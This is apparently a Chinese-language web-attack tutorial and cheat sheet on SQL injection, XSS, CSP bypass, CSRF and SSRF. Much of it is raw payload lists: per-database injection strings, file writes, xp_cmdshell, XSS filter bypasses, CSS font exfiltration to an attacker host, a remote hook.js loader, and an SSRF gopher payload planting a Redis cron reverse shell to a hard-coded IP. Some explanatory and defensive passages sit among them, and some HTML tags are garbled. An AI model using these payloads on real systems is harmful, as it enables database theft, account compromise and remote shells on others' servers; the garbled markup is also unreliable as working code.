SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
根据使用的技巧,SQL注入类型可分为
应用会显示全部或者部分的报错信息
有的应用可以加入 ;
后一次执行多条语句
另外也可以根据获取数据的方式分为3类:
利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。
通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。
sleep(1)
BENCHMARK(5000000, MD5('test'))
SELECT 'a' 'b'
SELECT CONCAT('some','string')
SELECT @@version
SELECT version()
connection_id()
last_insert_id()
row_count()
'a'||'oracle' --
SELECT CONCAT('some','string')
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
WAITFOR DELAY '00:00:10';
SELECT @@SERVERNAME
SELECT @@version
SELECT 'some'+'string'
@@pack_received
@@rowcount
pg_sleep(1)
'
/ "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
@@version
@@servername
@@language
@@spid
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
;select 1
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
//
--
-- +
-- -
#
/**/
;%00
/!**/
只有MySQL能识别index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
union
=> ununionion
substring
/ mid
/ sub
ascii
/ hex
/ bin
benchmark
/ sleep
user()
/ @@user
and
/ &
or
/ |
HTTP参数污染
id=1&id=2&id=3
根据容器不同会有不同的结果HTTP分割注入
and exists (select * from msysobjects ) > 0
access数据库
and exists (select * from sysobjects ) > 0
SQLServer数据库
and exsits (select * from admin)
确定字段数
表名、列名
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
一般程序员用gbk编码做开发的时候,会用 set names 'gbk'
来设定,这句话等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞发生的原因是执行了 set character_set_client = 'gbk';
之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape
是在解码前执行的。但是直接用 set names 'gbk'
的话real_escape
是不知道设置的数据的编码的,就会加 %5c
。此时server拿到数据解码 就认为提交的字符+%5c
是gbk的一个字符,这样就产生漏洞了。
解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk')
,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。
还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。
Version
SELECT @@version
Comment
SELECT 1 -- comment
SELECT /*comment*/1
Space
0x01 - 0x20
用户信息
SELECT user_name()
SELECT system_user
SELECT user
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
用户权限
select IS_SRVROLEMEMBER('sysadmin')
select IS_SRVROLEMEMBER('db_owner')
List User
- SELECT name FROM master..syslogins
数据库信息
SELECT name FROM master..sysdatabases
select quotename(name) from master..sysdatabases FOR XML PATH('')
执行命令
EXEC xp_cmdshell 'net user'
Ascii
SELECT char(0x41)
SELECT ascii('A')
SELECT char(65)+char(66)
=> return AB
Delay
WAITFOR DELAY '0:0:3'
pause for 3 secondsChange Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
Trick
id=1 union:select password from:user
文件读取
当前查询语句
select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
hostname
select host_name()
1=convert(int,(db_name()))
Version
SELECT @@version
Comment
SELECT 1 -- comment
SELECT 1 # comment
SELECT /*comment*/1
Space
0x9
0xa-0xd
0x20
0xa0
Current User
SELECT user()
SELECT system_user()
List User
SELECT user FROM mysql.user
Current Database
SELECT database()
List Database
SELECT schema_name FROM information_schema.schemata
List Tables
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
If
SELECT if(1=1,'foo','bar');
return ‘foo’Ascii
SELECT char(0x41)
SELECT ascii('A')
SELECT 0x414243
=> return ABC
Delay
sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))
Read File
select @@datadir
select load_file('databasename/tablename.MYD')
Blind
ascii(substring(str,pos,length)) & 32 = 1
Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
Change Password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
写文件前提
select count(file_priv) from mysql.user
基于 into 写文件
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
基于 log 写文件
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '';
set global general_log_file = '/original/path';
set global general_log = off;
SELECT version()
SELECT 1 -- comment
SELECT /*comment*/1
SELECT user
SELECT current_user
SELECT session_user
SELECT getpgusername()
SELECT usename FROM pg_user
SELECT current_database()
SELECT datname FROM pg_database
SELECT char(0x41)
SELECT ascii('A')
pg_sleep(1)
select * from v$tablespace;
select * from user_tables;
select column_name from user_tab_columns where table_name = 'table_name';
select column_name, data_type from user_tab_columns where table_name = 'table_name';
SELECT * FROM ALL_TABLES
--
/**/
0x00
0x09
0xa-0xd
0x20
utl_inaddr.get_host_name
ctxsys.drithsx.sn
ctxsys.CTX_REPORT.TOKEN_TYPE
XMLType
dbms_xdb_version.checkin
dbms_xdb_version.makeversioned
dbms_xdb_version.uncheckout
dbms_utility.sqlid_to_sqlhash
ordsys.ord_dicom.getmappingxpath
utl_inaddr.get_host_name
utl_inaddr.get_host_address
utl_http.request
utl_inaddr.get_host_address
SYS.DBMS_LDAP.INIT
HTTPURITYPE
HTTP_URITYPE.GETCLOB
rawtohex
create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
isto_file utl_file.file_type;
begin
isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
utl_file.put_line(isto_file, '<% out.println("test"); %>');
utl_file.fflush(isto_file);
utl_file.fclose(isto_file);
end;
--
/**/
select sqlite_version();
Command Execution
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('');--
Load_extension
UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']";?>
,那么在访问时设置 /?user=alert("hack")
,则可执行预设好的JavaScript代码。
反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。
储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。
DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。
例如
<html>
<head>
<title>DOM Based XSS Demotitle>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "";
}
script>
head>
<body>
<div id="output">div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
body>
html>
输入 x' onerror='javascript:alert(/xss/)
即可触发。
Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上。
存在XSS漏洞时,可能会导致以下几种情况:
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。
从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件。
cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。
不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain
/ path
/ secure
和 http-only
标记来限定其访问性。
所以 https://localhost:8080/
和 http://localhost:8081/
的Cookie是共享的。
浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。
客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。
同源策略认为域和子域属于不同的域,例如 child1.a.com
与 a.com
/ child1.a.com
与 child2.a.com
/ xxx.child1.a.com
与 child1.a.com
两两不同源。
对于这种情况,可以在两个方面各自设置 document.domain='a.com'
来改变其源来实现以上任意两个页面之间的通信。
另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null
。
同源策略控制了不同源之间的交互,这些交互通常分为三类:
可能嵌入跨源的资源的一些示例有:
标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
/
/
嵌入多媒体资源。
embed
和 applet
的插件。@font-face
引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。frame
和 iframe
载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。JSONP就是利用 标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。
服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
JSONP也存在一些安全问题,例如当对传入/传回参数没有做校验就直接执行返回的时候,会造成XSS问题。没有做Referer或Token校验就给出数据的时候,可能会造成数据泄露。
另外JSONP在没有设置callback函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为SOME攻击。
Javascript的APIs中,如 iframe.contentWindow
, window.parent
, window.open
和 window.opener
允许文档间相互引用。当两个文档的源不同时,这些引用方式将对 window
和 location
对象的访问添加限制。
window
允许跨源访问的方法有
window
允许跨源访问的属性有
其中 window.location
允许读/写,其他的属性只允许读
存储在浏览器中的数据,如 localStorage
和 IndexedDB
,以源进行分割。每个源都拥有自己单独的存储空间,一个源中的Javascript脚本不能对属于其它源的数据进行读写操作。
CORS是一个W3C标准,全称是跨域资源共享(Cross-origin resource sharing)。通过这个标准,可以允许浏览器读取跨域的资源。
Origin
Origin:
Access-Control-Request-Method
声明请求使用的方法
Access-Control-Request-Method:
Access-Control-Request-Headers
Access-Control-Request-Headers: [, ]*
*
Access-Control-Allow-Origin: | *
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
Access-Control-Max-Age:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: [, ]*
Access-Control-Allow-Headers: [, ]*
Vary: Origin
头部Access-Control-Allow-Credentials
阻止跨域写操作,可以检测请求中的 CSRF token
,这个标记被称为Cross-Site Request Forgery (CSRF) 标记。
阻止资源的跨站读取,因为嵌入资源通常会暴露信息,需要保证资源是不可嵌入的。但是多数情况下浏览器都不会遵守 Content-Type
消息头。例如如果在HTML文档中指定 标记,则浏览器会尝试将HTML解析为JavaScript。
Content Security Policy,简称 CSP,译作内容安全策略。顾名思义,这个规范与内容安全有关,主要是用来定义哪些资源可以被当前页面加载,减少 XSS 的发生。
CSP策略可以通过 HTTP 头信息或者 meta 元素定义。
CSP 有三类:
HTTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
HTML Meta :
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 、 等引用资源加载策略 |
object-src | 定义 、、 等引用资源加载策略 |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
base-uri | 定义 根URL策略,不使用default-src作为默认值 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
-
data:
blob:
filesystem:
schemes
img-src -
none
object-src 'none'
self
img-src 'self'
data:
img-src 'self' data:
domain.example.com
img-src domain.example.com
\*.example.com
img-src \*.example.com
https://cdn.com
img-src https://cdn.com
https:
img-src https:
unsafe-inline
script-src 'unsafe-inline'
unsafe-eval
script-src 'unsafe-eval'
nonce-'
script-src 'nonce-bm9uY2U='
-'
script-src 'script-src 'sha256-'
允许执行内联 JS 代码,但不允许加载外部资源
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
浏览器为了增强用户体验,让浏览器更有效率,就有一个预加载的功能,大体是利用浏览器空闲时间去加载指定的内容,然后缓存起来。这个技术又细分为DNS-prefetch、subresource、prefetch、preconnect、prerender。
HTML5页面预加载是用link标签的rel属性来指定的。如果csp头有unsafe-inline,则用预加载的方式可以向外界发出请求,例如
<link rel='prefetch' href='http://xxxx'>
<link rel='prerender' href='http://xxxx'>
<link rel='prefetch' href='http://xxxx/x.jpg'>
<link rel="dns-prefetch" href="http://xxxx">
<link rel='preload' href='//xxxxx/xx.js'>
另外,不是所有的页面都能够被预加载,当资源类型如下时,讲阻止预加载操作:
举例来说,csp禁止跨站读取脚本,但是可以跨站读img,那么传一个含有脚本的img,再,这里csp认为是一个img,绕过了检查,如果网站没有回正确的mime type,浏览器会进行猜测,就可能加载该img作为脚本。
对于302跳转绕过CSP而言,实际上有以下几点限制:
当可以执行代码时,可以创建一个源为 css
js
等静态文件的frame,在配置不当时,该frame并不存在csp,则在该frame下再次创建frame,达到bypass的目的。同理,使用 ../../../
/%2e%2e%2f
等可能触发服务器报错的链接也可以到达相应的目的。
当script-src为nonce或无限制,且base-uri无限制时,可通过 base
标签修改根URL来bypass,如下加载了http://evil.com/main.js
<base href="http://evil.com/">
<script nonce="correct value" src="/main.js">script>
location 绕过
可上传SVG时,通过恶意SVG绕过同源站点
存在CRLF漏洞且可控点在CSP上方时,可以注入HTTP响应中影响CSP解析
CND Bypass,如果网站信任了某个CDN, 那么可利用相应CDN的静态资源bypass
Angular versions <1.5.9 >=1.5.0,存在漏洞 Git Pull Request
jQuery sourcemap
document.write(`<script>
//@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);``
a标签的ping属性
For FireFox
仅限制 script-src
时:
location
location.href
location.pathname
location.search
location.hash
document.URL
document.documentURI
document.baseURI
window.name
document.referrer
Ajax
Fetch
WebSocket
PostMessage
Cookie
LocalStorage
SessionStorage
eval(payload)
setTimeout(payload, 100)
setInterval(payload, 100)
Function(payload)()
payload
location=javascript:alert(/xss/)
location.href=javascript:alert(/xss/)
location.assign(javascript:alert(/xss/))
location.replace(javascript:alert(/xss/))
xx.innerHTML=payload
xx.outerHTML=payload
document.write(payload)
document.writeln(payload)
使用一些白名单或者黑名单来过滤用户输入的HTML,以实现过滤的效果。例如DOMPurify等工具都是用该方式实现了XSS的保护。
X-Frame-Options 响应头有三个可选的值:
DENY
页面不能被嵌入到任何iframe或frame中
SAMEORIGIN
页面只能被本站页面嵌入到iframe或者frame中
ALLOW-FROM
页面允许frame或frame加载
基于 Webkit 内核的浏览器(比如Chrome)在特定版本范围内有一个名为XSS auditor的防护机制,如果浏览器检测到了含有恶意代码的输入被呈现在HTML文档中,那么这段呈现的恶意代码要么被删除,要么被转义,恶意代码不会被正常的渲染出来。
而浏览器是否要拦截这段恶意代码取决于浏览器的XSS防护设置。
要设置浏览器的防护机制,则可使用X-XSS-Protection字段 该字段有三个可选的值
0
: 表示关闭浏览器的XSS防护机制1
: 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置1; mode=block
: 如果检测到恶意代码,在不渲染恶意代码FireFox没有相关的保护机制,如果需要保护,可使用NoScript等相关插件。
利用<>标记
利用html属性
关键字
window["al" + "ert"]
利用编码绕过
base64
jsfuck
String.fromCharCode
HTML
URL
hex
window["\x61\x6c\x65\x72\x74"]
unicode
utf7
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
utf16
大小写混淆
对标签属性值转码
产生事件
css跨站解析
长度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
.
.
绕过IP/域名document['cookie']
绕过属性取值过滤引号用 `
绕过
CSS注入最早开始于利用CSS中的 expression()
url()
regex()
等函数或特性来引入外部的恶意代码,但是随着浏览器的发展,这种方式被逐渐禁用,与此同时,出现了一些新的攻击方式。
<style>
#form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
#form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
#form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
[...]
style>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
form>
上图是利用CSS selectors完成攻击的一个示例
当可以插入CSS的时候,可以使用 font-face
配合 unicode-range
获取目标网页对应字符集。PoC如下
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
style>
<p id="sensitive-information">ABp>
当字符较多时,则可以结合 ::first-line
等CSS属性缩小范围,以获取更精确的内容
一些网站会使用白名单或者一些基于DOM的防御方式,对这些方式,有一种被称为 Code Reuse
的攻击方式可以绕过。该方式和二进制攻防中的Gadget相似,使用目标中的合法代码来达到绕过防御措施的目的。在论文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets
中有该方法的具体描述。
portswigger的一篇博文也表达了类似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations
。
下面有一个简单的例子,这个例子使用了 DOMPurify
来加固,但是因为引入了 jquery.mobile.js
导致可以被攻击。
// index.php
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Previewtitle>
<script type="text/javascript" src="purify.js">script>
<script type="text/javascript" src="jquery.js">script>
<script type="text/javascript" src="jquery.mobile.js">script>
head>
<body>
<script type="text/javascript">
var d= atob('');
var cleanvar = DOMPurify.sanitize(d);
document.write(cleanvar);
script>
body>
html>
// payload
<div data-role=popup id='-->
<script>alert(1)</script>'>
div>
RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击,依赖于浏览器和网络服务器的反应,利用服务器的 Web 缓存技术和配置差异。
<script>alert(/xss/)script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>Ma>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
<script>alert(1)script>
<sCrIpT>alert(1)sCrIpT>
<ScRiPt>alert(1)ScRiPt>
<sCrIpT>alert(1)ScRiPt>
<ScRiPt>alert(1)sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
各种alert
<script>alert(1)script>
<script>confirm(1)script>
<script>prompt(1)script>
<script>alert('1')script>
<script>alert("1")script>
<script>alert`1`script>
<script>(alert)(1)script>
<script>a=alert,a(1)script>
<script>[1].find(alert)script>
<script>top["al"+"ert"](1)script>
<script>top["a"+"l"+"e"+"r"+"t"](1)script>
<script>top[/al/.source+/ert/.source](1)script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)script>
<a href=javascript:/0/,alert(%22M%22)>Ma>
<a href=javascript:/00/,alert(%22M%22)>Ma>
<a href=javascript:/000/,alert(%22M%22)>Ma>
<a href=javascript:/M/,alert(%22M%22)>Ma>
?param=https://¶m=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>Ma>
<base href=javascript:/M/><iframe src=,alert(1)>iframe>
<script>s+="l"script>
\...
<script>eval(s)script>
textarea><script>var a=1//@ sourceMappingURL=//xss.sitescript>
"><img src=x onerror=alert(document.cookie)>.gif
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';STYLE>
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>
![a'"`οnerrοr=prompt(document.cookie)](x)
[notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>
<iframe src=javascript:alert(1)>iframe>
<iframe src="data:text/html,M')>">iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+>iframe>
<iframe srcdoc=load=alert(1)>>iframe>
<iframe src=https://baidu.com width=1366 height=768>iframe>
<iframe src=javascript:alert(1) width=1366 height=768>
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
<META HTTP-EQUIV="Link" Content="; REL=stylesheet" >
有时候网站会将信息存储在Cookie或localStorage,而因为这些数据一般是网站主动存储的,很多时候没有对Cookie或localStorage中取出的数据做过滤,会直接将其取出并展示在页面中,甚至存了JSON格式的数据时,部分站点存在 eval(data)
之类的调用。因此当有一个XSS时,可以把payload写入其中,在对应条件下触发。
在一些条件下,这种利用方式可能因为一些特殊字符造成问题,可以使用 String.fromCharCode
来绕过。
Service Worker可以拦截http请求,起到类似本地代理的作用,故可以使用Service Worker Hook一些请求,在请求中返回攻击代码,以实现持久化攻击的目的。
在Chrome中,可通过 chrome://inspect/#service-workers
来查看Service Worker的状态,并进行停止。
在可控的网络环境下(公共wifi),可以使用AppCache机制,来强制存储一些Payload,未清除的情况下,用户访问站点时对应的payload会一直存在。
跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如
、、
、
、
等)所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。
由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。
通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个JavaScript片段,强制受害者的浏览器提交。
该表单可以完全由隐藏的元素组成,以致受害者很难发现它。
如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。
XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。
基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。
这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。
以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:
curl -vvv 'dict://127.0.0.1:6379/info'
curl -vvv 'file:///etc/passwd'
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents()
/ fsockopen()
/ curl_exec()
等。
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io
提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
比如 http://www.baidu.com@192.168.0.1/
